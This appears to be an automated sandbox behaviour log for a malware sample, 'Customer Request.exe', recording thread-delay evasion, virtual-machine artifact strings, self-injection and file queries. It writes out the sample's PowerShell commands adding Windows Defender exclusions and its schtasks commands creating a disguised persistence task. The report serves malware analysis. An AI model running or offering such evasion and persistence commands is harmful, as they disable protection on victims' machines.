Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 596422	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 596313	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 596188	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 596063	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 595938	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 595813	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 595703	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 595594	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 595469	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 595360	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 593938	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 593799	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 593672	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 593563	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 593438	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 240000
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 239870
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 239764
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 239640
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 239531
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 239421
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 239310
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 239202
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 239079
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 238959
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 599890
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 599598
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 599469
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 599354
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 599248
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 599123
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 599003
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 598875
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 598765
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 598652
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 598546
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 598437
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 598328
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 598218
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 598109
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 598000
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 597890
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 597781
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 597672
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 597562
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 597453
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 597343
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 597234
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 597125
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 597015
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 596896
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 596767
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 596625
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 595953
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 595828
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 595719
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 595608
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 595500
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 595390
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 595281
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 595172
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 595062
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 594953
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 594844
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 594719
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 594609
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 594500
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 594390
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 594280
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 594172
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 594062
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 593953
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 593826
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 593703
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 593585

Source: gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002B11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd58da3ab36bd1<
Source: gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002CBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd51c42e28e955
Source: gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002BDA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd52621a53558f
Source: Customer Request.exe, 0000000A.00000002.2710969497.0000000003198000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8e2c10ef1daec42
Source: gCFuOglEso.exe, 0000000B.00000002.1524551945.0000000006ADC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}E
Source: gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002A77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd5386acd74a6b
Source: gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002BF9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd527858d8e06d
Source: gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd54016fcc0347
Source: gCFuOglEso.exe, 0000000B.00000002.1524551945.0000000006ADC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002B11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd588331d88799
Source: Customer Request.exe, 0000000A.00000002.2708190624.0000000001306000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlllSy
Source: Customer Request.exe, 0000000A.00000002.2710969497.0000000003198000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8e3757e05def62f
Source: Customer Request.exe, 0000000A.00000002.2710969497.0000000003198000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8df398a9e398d9f
Source: Customer Request.exe, 0000000A.00000002.2710969497.0000000003081000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8e3b0c96e1dafb8<
Source: gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002B11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd58d44c277f5a@\
Source: gCFuOglEso.exe, 0000000F.00000002.2707096158.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002CF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd5236b62b17e5<

Source: C:\Users\user\Desktop\Customer Request.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Customer Request.exe

Code function: 10_2_0560C010 LdrInitializeThunk,

10_2_0560C010

Source: C:\Users\user\Desktop\Customer Request.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\Customer Request.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\Customer Request.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Customer Request.exe"
Source: C:\Users\user\Desktop\Customer Request.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gCFuOglEso.exe"
Source: C:\Users\user\Desktop\Customer Request.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Customer Request.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gCFuOglEso.exe"	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Customer Request.exe	Memory written: C:\Users\user\Desktop\Customer Request.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Memory written: C:\Users\user\AppData\Roaming\gCFuOglEso.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\Customer Request.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Customer Request.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gCFuOglEso.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gCFuOglEso" /XML "C:\Users\user\AppData\Local\Temp\tmpBA61.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process created: C:\Users\user\Desktop\Customer Request.exe "C:\Users\user\Desktop\Customer Request.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process created: C:\Users\user\Desktop\Customer Request.exe "C:\Users\user\Desktop\Customer Request.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gCFuOglEso" /XML "C:\Users\user\AppData\Local\Temp\tmp91E1.tmp"
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process created: C:\Users\user\AppData\Roaming\gCFuOglEso.exe "C:\Users\user\AppData\Roaming\gCFuOglEso.exe"

Source: Customer Request.exe, 0000000A.00000002.2710969497.000000000338E000.00000004.00000800.00020000.00000000.sdmp, Customer Request.exe, 0000000A.00000002.2710969497.00000000031A7000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR
Source: Customer Request.exe, 0000000A.00000002.2710969497.000000000338E000.00000004.00000800.00020000.00000000.sdmp, Customer Request.exe, 0000000A.00000002.2746132985.000000000722D000.00000004.00000010.00020000.00000000.sdmp, Customer Request.exe, 0000000A.00000002.2710969497.00000000031A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002B11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager`,
Source: gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002AEE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager@\

Source: C:\Users\user\Desktop\Customer Request.exe	Queries volume information: C:\Users\user\Desktop\Customer Request.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
